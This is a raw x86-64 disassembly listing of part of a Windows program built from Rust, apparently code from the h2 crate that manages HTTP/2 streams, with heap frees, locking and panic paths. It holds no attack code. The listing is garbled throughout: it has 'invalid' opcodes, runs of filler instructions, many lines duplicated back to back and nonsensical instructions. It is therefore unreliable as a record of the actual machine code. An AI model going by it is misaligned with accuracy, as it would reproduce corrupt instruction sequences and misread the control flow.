mov r8, qword [rsi + 0x220]
test r8b, 1
jne 0x140098728
lock dec qword [r8 + 0x20]
jne 0x14009874e
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009873f
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
jmp 0x14009873f
shr r8, 5
neg r8
cmp qword [rsi + 0x218], r8
je 0x14009874e
add r8, qword [rsi + 0x208]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsi + 0x230], 2
je 0x1400987c5
lea rcx, [rsi + 0x238]
call fcn.140087660
mov r8, qword [rsi + 0x370]
test r8b, 1
jne 0x14009879f
lock dec qword [r8 + 0x20]
jne 0x1400987c5
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400987b6
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
jmp 0x1400987b6
shr r8, 5
neg r8
cmp qword [rsi + 0x368], r8
je 0x1400987c5
add r8, qword [rsi + 0x358]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x418]
test rax, rax
je 0x1400987e9
lea rcx, [rsi + 0x430]
mov rdx, qword [rsi + 0x420]
mov r8, qword [rsi + 0x428]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x3a8]
test rax, rax
je 0x14009880d
lea rcx, [rsi + 0x3c0]
mov rdx, qword [rsi + 0x3b0]
mov r8, qword [rsi + 0x3b8]
call qword [rax + 0x10]
lea rdi, [rsi + 0x408]
mov rdx, qword [rsi + 0x3e0]
test rdx, rdx
je 0x14009887b
mov qword [rdx + 0x10], 4
mov rax, qword [rdx + 0x40]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x40], rcx
jne 0x140098830
test rax, rax
jne 0x140098862
mov rax, qword [rdx + 0x30]
mov rcx, qword [rdx + 0x38]
mov qword [rdx + 0x30], 0
lock and qword [rdx + 0x40], 0xfffffffffffffffd
test rax, rax
je 0x140098862
call qword [rax + 8]
mov rax, qword [rsi + 0x3e0]
lock dec qword [rax]
jne 0x14009887b
mov rcx, qword [rsi + 0x3e0]
call fcn.1400048f0
mov rcx, rdi
call fcn.140096e50
mov r8, qword [rsi + 0x380]
cmp r8, 2
je 0x1400988f2
mov rdx, qword [rsi + 0x398]
mov rcx, qword [rsi + 0x388]
mov rax, qword [rsi + 0x390]
test r8, r8
je 0x140098904
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsi + 0x388]
lock dec qword [rax]
jne 0x1400988f2
mov rcx, qword [rsi + 0x388]
mov rdx, qword [rsi + 0x390]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140004950
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rax + 0x80]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
cmp qword [rsi + 0x110], 0
je 0x14009858d
mov r8, qword [rsi + 0x108]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14009858d
mov rcx, rbx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140025d00
cmp qword [rsp + 0xa8], 0
je 0x140099220
mov rcx, qword [rsp + 0xa8]
mov edx, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0xe0], edx
mov dword [rsp + 0xe4], eax
cmp qword [rcx + 0x10], rdx
jbe 0x140099749
mov rcx, qword [rcx + 8]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x140099749
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x140099749
cmp dword [rcx + 0x48], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xa0]
mov rdx, rbx
call fcn.14001f580
jmp 0x140099190
mov r8, qword [rsp + 0x78]
cmp r8, 2
je 0x1400992c8
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x14009925e
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x78]
cmp r8, 2
je 0x1400992c8
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x140099620
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x1400992c8
mov rcx, qword [rsp + 0x80]
add byte [rax], al
mov rdx, qword [rsp + 0x88]
call fcn.140004950
cmp dword [r15 + 0x120], 0
je 0x140099496
mov ebx, dword [r15 + 0x12c]
mov edi, dword [r15 + 0x130]
lea rsi, [rsp + 0x6c]
mov ecx, dword [r15 + 0x124]
mov eax, dword [r15 + 0x128]
lea r14, [rsp + 0x38]
nop dword [rax]
invalid
add byte [rcx + 0x41da31ca], cl
mov eax, eax
mov edx, ecx
xor edx, ebx
mov r8d, eax
xor r8d, edi
or r8d, edx
sete r13b
mov edx, ecx
jne 0x140099380
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x6c], edi
mov r8, qword [r15 + 0x1c8]
cmp r8, rdx
jbe 0x1400996da
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x1400996da
add r10, r9
cmp dword [r10 + 0x114], edi
jne 0x1400996da
cmp dword [r10 + 0xb8], 0
jne 0x1400997e1
mov dword [r15 + 0x120], 0
mov r12d, edi
mov ebp, ebx
jmp 0x140099401
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
mov r8, qword [r15 + 0x1c8]
cmp r8, rdx
jbe 0x1400996f3
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x1400996f3
add r10, r9
cmp dword [r10 + 0x114], eax
jne 0x1400996f3
mov ebp, dword [r10 + 0xbc]
mov r12d, dword [r10 + 0xc0]
cmp dword [r10 + 0xb8], 0
mov dword [r10 + 0xb8], 0
je 0x1400997f9
mov dword [r15 + 0x120], 1
mov dword [r15 + 0x124], ebp
add byte [rax], al
add byte [rax], al
mov dword [r15 + 0x128], r12d
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
cmp r8, rdx
jbe 0x1400996f3
imul r8, rdx, 0x130
mov byte [r9 + r8 + 0x121], 0
mov dword [rsp + 0x68], ecx
push 0x6c244489
push 0x6c244489
cmp qword [r15 + 0x1c8], rdx
jbe 0x1400996da
add byte [rdi], cl
xchg byte [rbx + 0x49000002], ah
mov edx, dword [rdi + 0x1c0]
mov rdx, qword [r15 + 0x1c0]
cmp dword [rdx + r8], 2
je 0x1400996da
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400996da
cmp dword [rdx + 0x48], 0x3b9aca00
setne r8b
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x38], rdx
and al, 0x38
and al, 0x38
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0xa0]
mov rdx, r14
call fcn.14001f580
mov eax, r12d
mov ecx, ebp
test r13b, r13b
je 0x140099300
lea rdi, [r15 + 0x148]
lea edi, [rdi + 0x148]
lea r13, [rsp + 0xac]
lea rbx, [rsp + 0x68]
lea r12, [rsp + 0x38]
nop
mov rcx, rbx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140021750
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140099541
mov edx, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x74]
mov dword [rsp + 0xa8], edx
mov dword [rsp + 0xac], ecx
cmp qword [rax + 0x10], rdx
jbe 0x14009977f
mov r8, qword [rax + 8]
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x14009977f
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x14009977f
cmp dword [r8 + 0x48], 0x3b9aca00
setne r8b
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x44], ecx
mov rcx, qword [rsp + 0xa0]
mov rdx, r12
call fcn.14001f580
jmp 0x1400994b0
cmp byte [rsp + 0xc4], 0
mov rcx, qword [rsp + 0xd8]
jne 0x140099566
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400996be
add byte [rax], al
add byte [rax], al
xor eax, eax
xchg byte [rcx], al
cmp al, 2
movzx ebx, byte [rsp + 0x36]
jne 0x140099579
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
je 0x140099590
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400996a1
xor edi, edi
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x1400995a6
mov rcx, r15
mov ecx, edi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor edi, edi
mov eax, edi
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
call qword [rax + 0x80]
cmp dword [r15 + 0x120], 0
jne 0x1400992d6
jmp 0x140099496
call fcn.1401105f0
test al, al
jne 0x140099590
mov rax, qword [rsp + 0xe8]
mov byte [rax], 1
jmp 0x140099590
mov rdi, rcx
call fcn.1401105f0
mov rcx, rdi
test al, al
jne 0x140099566
mov byte [rcx + 1], 1
jmp 0x140099566
mov qword [rsp + 0x78], rsi
jmp 0x140099784
add byte [rax], al
mov qword [rsp + 0x78], rsi
lea rax, [0x14001b1f0]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x58
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108560
mov qword [rsp + 0x68], r12
lea rax, [0x14001b1f0]
mov qword [rsp + 0x70], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
lea eax, [rsp + 0x68]
lea eax, [rsp + 0x68]
jmp 0x1400997b6
mov qword [rsp + 0x78], r13
lea rax, [0x14001b1f0]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
push rbp
or al, byte [rax]
call fcn.140108970
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
int3
shl eax, 1
test rax, rax
jne 0x140099887
movzx eax, byte [rcx + 1]
test al, al
jne 0x1400998cb
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
jns 0x140099841
lea rdi, [rcx + 1]
mov esi, dword [rcx + 0xfc]
mov rax, qword [0x140182308]
mov cl, 0xfc
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0xe8abb
shl rax, 1
test rax, rax
jne 0x1400998b7
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140099863
rol byte [rsi + 0x75023c01], 6
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, esi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x140182308]
add byte [rax - 0x2f], cl
loopne 0x1400998cb
shl rax, 1
test rax, rax
test eax, eax
je 0x140099830
mov rsi, rcx
call fcn.1401105f0
movzx edx, byte [rsi + 1]
test dl, dl
jne 0x140099902
mov rcx, rsi
mov esi, dword [rsi + 0xfc]
test al, al
je 0x140099855
mov rbx, rcx
call fcn.1401105f0
invalid
invalid
test al, al
jne 0x1400998c6
invalid
mov byte [rdi], 1
mov rcx, rbx
jmp 0x140099855
mov rsi, rcx
xor eax, eax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
mov byte [rsp + 0x38], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
or al, byte [rax]
or al, byte [rax]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov edx, 0x2b
call fcn.1401088e0
xor al, 1
jmp 0x1400998d0
invalid
movdqa xmmword [rsp + 0x7a0], xmm10
movdqa xmmword [rsp + 0x790], xmm9
movdqa xmmword [rsp + 0x780], xmm8
movdqa xmmword [rsp + 0x770], xmm7
movaps xmmword [rsp + 0x760], xmm6
mov r12, r8
mov rdi, rdx
mov qword [rsp + 0xe0], rcx
mov rax, qword [rdx + 0x380]
cmp rax, 2
mov qword [rsp + 0x108], rdx
add dword [rax], eax
add byte [rbp + 0x20], dh
add dword [rax], eax
add byte [rbp + 0x20], dh
mov rax, qword [rdi + 0x3a0]
mov qword [rsp + 0x2a0], 2
movabs al, byte [0x4800000002000002]
mov dword [rsp + 0x2c0], eax
add al, byte [rax]
invalid
movabs al, byte [0x4800000002000002]
mov dword [rsp + 0x2c0], eax
add al, byte [rax]
invalid
add al, byte [rax]
add cl, ch
jrcxz 0x1400999b1
jmp 0x140099a96
add byte [rax], al
lea rdx, [rdi + 0x398]
mov rsi, qword [rdi + 0x388]
add byte [rax], al
add byte [rax], al
mov rbx, rdi
mov rdi, qword [rdi + 0x390]
test rax, rax
je 0x140099a47
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
invalid
add rcx, 0x10
call qword [rdi + 0x70]
lock inc qword [rsi]
jle 0x14009cd2c
adc byte [rax - 1], cl
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
invalid
and al, 0xa0
add al, byte [rax]
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x2c0], rax
invalid
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x2c0], rax
mov rax, qword [rdi + 0x10]
adc byte [r8 - 1], r9b
adc byte [rax - 1], cl
dec rax
and rax, 0xfffffffffffffff0
add rsi, rax
add rsi, 0x10
jmp 0x140099a88
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
mov rcx, rsi
call qword [rdi + 0x70]
push rdi
jo 0x140099a96
mov dword [rsp + 0x2a8], esi
push rdi
jo 0x140099a96
mov dword [rsp + 0x2a8], esi
mov qword [rsp + 0x2b0], rdi
lea rdx, [rsp + 0x2b8]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rbx + 0x3a0]
mov qword [rsp + 0x2a0], 0
mov dword [rsp + 0x2a0], 0
mov dword [rsp + 0x2a0], 0
mov qword [rsp + 0x2c0], rax
add al, byte [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call qword [rdi + 0x60]
mov rdi, qword [rsp + 0x108]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add eax, 0x20000
add byte [rax], al
mov qword [rsp + 0x548], 2
mov qword [rsp + 0x568], 0
lea rsi, [rdi + 0x400]
add byte [rax + rax], al
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000003], ebp
mov dword [rsp + 0x2e8], eax
add al, byte [rax]
invalid
push 5
add byte [rax], al
add byte [rax - 0x73], cl
mov bh, 0
add byte [rax + rax], al
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000003], ebp
mov dword [rsp + 0x2e8], eax
add al, byte [rax]
invalid
lea rax, [rdi + 0x418]
mov qword [rsp + 0x2e0], rax
lea rax, [rdi + 0x3e0]
xchg eax, esp
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, 0x8d480000
lea eax, [rdi + 0x48]
lea eax, [rdi + 0x48]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x98], rax
xorps xmm6, xmm6
pcmpeqd xmm7, xmm7
jbe 0x140099af4
jbe 0x140099af4
dec dword [rax - 0x73]
add eax, 0xa4e4c
lea rax, [0x14013e948]
mov qword [rsp + 0x458], rax
mov dword [rsp + 0xac], eax
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
invalid
mov dword [rsp + 0x50], eax
and al, 0x50
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rcx + 0x4c502444], cl
and al, 0x50
mov qword [rsp + 0x258], r12
and al, 0x50
mov qword [rsp + 0x258], r12
mov qword [rsp + 0x110], rsi
adc byte [rcx], al
add byte [rax], al
jmp 0x140099b40
mov word [rdi + 0x400], 0x101
mov dword [rdi + 0x404], 0
xchg dword [rsp + rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg dword [rsp + rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop dword [rax]
movzx eax, byte [rsi]
test eax, eax
je 0x140099bc0
cmp eax, 1
jne 0x14009c514
mov esi, dword [rdi + 0x404]
movzx ebx, byte [rdi + 0x401]
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3630
test rax, rax
jne case.0x1400792d3.151
mov rcx, qword [rdi + 0x188]
mov rax, qword [rdi + 0x190]
mov rdx, r12
call qword [rax + 0x30]
invalid
xor byte [rax - 0x7b], cl
ror byte [rdi], 0x85
pop rsi
sub dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test dword [rcx - 0x39ffffd6], esp
sub al, byte [rax]
add dh, al
test rax, rax
jne 0x14009c4f2
sub al, byte [rax]
add dh, al
xchg dword [rax], eax
add al, 0
add byte [rdx], al
mov byte [rdi + 0x401], bl
add dword [rax + rax], eax
add byte [rcx + 0x404b7], cl
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
add dword [rax + rax], eax
add byte [rcx + 0x404b7], cl
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
jmp 0x140099b40
nop word [rax + rax]
lea rcx, [rsp + 0x668]
mov rdx, rdi
mov r8, r12
call fcn.14009cf00
movzx eax, byte [rsp + 0x668]
add byte [rbx - 0x7bf0fb08], al
hlt
invalid
add byte [rax], al
add byte [rbx - 0x7bf0fb08], al
hlt
movzx ebx, byte [rsp + 0x669]
add byte [rax], al
mov r14d, dword [rsp + 0x66c]
mov r9d, dword [rsp + 0x670]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x74
invalid
add byte [rax], al
mov r8, qword [rsp + 0x678]
movdqu xmm12, xmmword [rsp + 0x680]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x74
invalid
mov rbp, qword [rdi + 0x408]
mov rcx, qword [rdi + 0x410]
lea r13, [rbp + 0x10]
insd dword [rdi], dx
adc byte [rax - 0x7d], cl
rcl dword [rax], 0x48
mov dword [rsp + 0x330], esi
mov rdx, qword [rsp + 0x2e8]
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x350], r13
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x358], rcx
mov byte [rsp + 0x360], 0
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x2e0]
mov qword [rsp + 0x340], rcx
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x590]
mov qword [rsp + 0x348], rcx
add byte [rax], al
add byte [rax], al
mov eax, eax
lea rcx, [0x140178884]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13], cl
mov qword [rsp + 0xe8], r9
call 0x14f099ca1
test ebx, esi
or al, byte [rax]
invalid
call 0x14f099ca1
test ebx, esi
or al, byte [rax]
add byte [rax - 0x75], cl
add eax, 0xe865b
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009a7b4
xor eax, eax
movzx ecx, byte [rbp + 0x11]
test cl, cl
jne 0x14009cc52
mov dword [rsp + 0x7c], eax
lea rax, [rbp + 0x18]
mov qword [rsp + 0xb8], rax
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbx*2], ah
add eax, dword [rax]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x68], rax
push 0xfffffffff0858d48
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x60
push 0xfffffffff0858d48
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x60
mov rcx, qword [rbp + 0x228]
mov rdx, qword [rbp + 0x230]
mov r8d, r14d
call fcn.14001fef0
invalid
clc
dec dword [rbx + rcx*4 - 0x7b]
clc
add dword [rax], eax
add byte [rax - 0x75], cl
xchg ebp, eax
add byte [rdx], al
add byte [rax], al
mov r9, qword [rbp + 0x210]
mov r10, r9
and r10, rax
mov rcx, rax
ror dword [rax - 0x3f], 0xe9
cmp dword [rbx + rcx*4 - 0x63], ecx
or byte [rdx], al
add byte [rax], al
invalid
ror dword [rax - 0x3f], 0xe9
cmp dword [rbx + rcx*4 - 0x63], ecx
or byte [rdx], al
add byte [rax], al
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor ebx, ebx
movdqu xmm1, xmmword [r11 + r10]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb esi, xmm2
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
test si, si
je 0x140099dc0
tzcnt r15d, esi
add r15, r10
and r15, r9
lea rcx, [r15*8]
mov r12, r11
sub r12, rcx
mov rcx, qword [r12 - 8]
mov ecx, dword [rsp - 8]
mov ecx, dword [rsp - 8]
cmp rdx, rcx
jbe 0x14009c774
lea edi, [rsi - 1]
and edi, esi
mov r12, rcx
shl r12, 4
mov esi, edi
cmp dword [r8 + r12 + 8], r14d
jne 0x140099d70
jmp 0x140099eb4
add byte [rsi + 0xf], ah
je 0x140099d93
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x14009a80b
invalid
add byte [rcx + 1], cl
fimul dword [rcx - 0x7d]
ret 0x4810
add r10, rbx
add r10, 0x10
add rbx, 0x10
and r10, r9
jmp 0x140099d4f
mov dword [rsp + 0x598], r9d
mov dword [rsp + 0x59c], r15d
mov qword [rsp + 0x5a0], r8
movdqu xmmword [rsp + 0x5a8], xmm12
mov rax, qword [rsp + 0x598]
movq r9, xmm12
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x5b0]
call qword [rax]
mov dword [rsp + 0x47c], r14d
mov byte [rsp + 0x479], bl
mov byte [rsp + 0x478], 1
add al, 0
add byte [rcx], al
add al, 0
add byte [rcx], al
cmp dword [rdi + 0x3d0], 0
je 0x14009a102
cmp dword [rdi + 0x3d8], r14d
jne 0x14009a102
mov byte [rdi + 0x400], 1
mov byte [rdi + 0x401], bl
mov dword [rdi + 0x404], r14d
mov rax, qword [rsp + 0x480]
mov rdx, qword [rsp + 0x488]
mov r8, qword [rsp + 0x490]
lea rcx, [rsp + 0x498]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x598]
mov rdx, qword [rsp + 0x5a0]
mov r8, qword [rsp + 0x5a8]
lea rcx, [rsp + 0x5b0]
call qword [rax + 0x10]
jmp 0x140099b40
neg edi
lea rax, [r11 + r15*8]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x5a0], r8
mov qword [rsp + 0x5a8], rax
mov qword [rsp + 0x598], 0
cmp rcx, rdx
jae 0x14009c9c1
mov rax, qword [rbp + 0x1f8]
mov edx, dword [rax + r12 + 8]
mov eax, dword [rax + r12 + 0xc]
mov rsi, qword [rsp + 0x68]
mov dword [rsp + 0x2f8], eax
clc
add al, byte [rax]
add byte [rcx + 0x2fc2494], cl
add byte [rax], al
clc
add al, byte [rax]
add byte [rcx + 0x2fc2494], cl
add byte [rax], al
mov qword [rsp + 0x2f0], rsi
xor eax, eax
mov cl, 1
mov rdx, qword [rsp + 0x58]
lock cmpxchg byte [rdx], cl
mov rcx, rdx
jne 0x14009a7cc
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009a7ee
xor eax, eax
movzx edx, byte [rcx + 1]
test dl, dl
jne 0x14009cc8d
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x60], r13
mov r12, qword [rsp + 0x2f0]
mov r14d, dword [rsp + 0x2f8]
clc
add al, byte [rax]
add byte [rbx + 0x2fc24bc], cl
add byte [rax], al
clc
add al, byte [rax]
add byte [rbx + 0x2fc24bc], cl
add byte [rax], al
mov dword [rsp + 0x308], r14d
mov dword [rsp + 0x30c], edi
cmp qword [r12 + 0x10], r14
jbe 0x14009cb09
mov rax, qword [r12 + 8]
imul rsi, r14, 0x130
cmp dword [rax + rsi], 2
je 0x14009cb09
add rax, rsi
cmp dword [rax + 0x114], edi
jne 0x14009cb09
invalid
add byte [rbp + rcx*4 + 0x49], cl
or byte [rax - 0x73], cl
js 0x140099ff8
lea r9, [rcx + 8]
lea rcx, [rbp + 0x78]
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x90], ecx
mov r15d, dword [rax + 0x48]
lea rcx, [rbp + 0x118]
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x30], rax
mov rbx, qword [rsp + 0xb8]
mov qword [rsp + 0x28], rbx
lea r13, [rsp + 0x2f0]
mov qword [rsp + 0x20], r13
mov rdx, qword [rsp + 0xe8]
mov r8b, 1
call fcn.14008b360
invalid
adc edi, edi
invalid
push 0x48ffff13
mov ecx, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
mov rdx, r13
mov r8, rbx
call fcn.140024e70
mov dword [rsp + 0x308], r14d
mov dword [rsp + 0x30c], edi
cmp qword [r12 + 0x10], r14
jbe 0x14009cb7f
mov rax, qword [r12 + 8]
cmp dword [rax + rsi], 2
xor byte [rdx], al
xor byte [rdx], al
je 0x14009cb7f
add rax, rsi
cmp dword [rax + 0x114], edi
jne 0x14009cb7f
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
mov rbx, qword [rsp + 0x60]
je 0x14009a069
call qword [rdx + 8]
cmp r15d, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x2f0]
call fcn.14001f580
cmp byte [rsp + 0x68], 0
mov rdi, qword [rsp + 0x108]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x58
add al, byte [rax]
add byte [rax], al
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x58
add al, byte [rax]
add byte [rax], al
mov rsi, qword [rsp + 0x110]
add byte [rax], al
mov rsi, qword [rsp + 0x110]
jne 0x14009a0bb
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009a879
invalid
xor eax, eax
mov rcx, qword [rsp + 0x58]
xchg byte [rcx], al
cmp al, 2
jne 0x14009a0ce
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x7c], 0
jne 0x14009a0e8
invalid
adc ecx, dword [rax - 0x75]
add eax, 0xe822c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009a894
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x140099b40
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x140099b40
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x140], rax
movzx eax, byte [rsp + 0x478]
movzx ecx, byte [rsp + 0x479]
movzx edx, word [rsp + 0x47a]
mov r8d, dword [rsp + 0x47c]
mov r9, qword [rsp + 0x480]
movups xmm0, xmmword [rsp + 0x488]
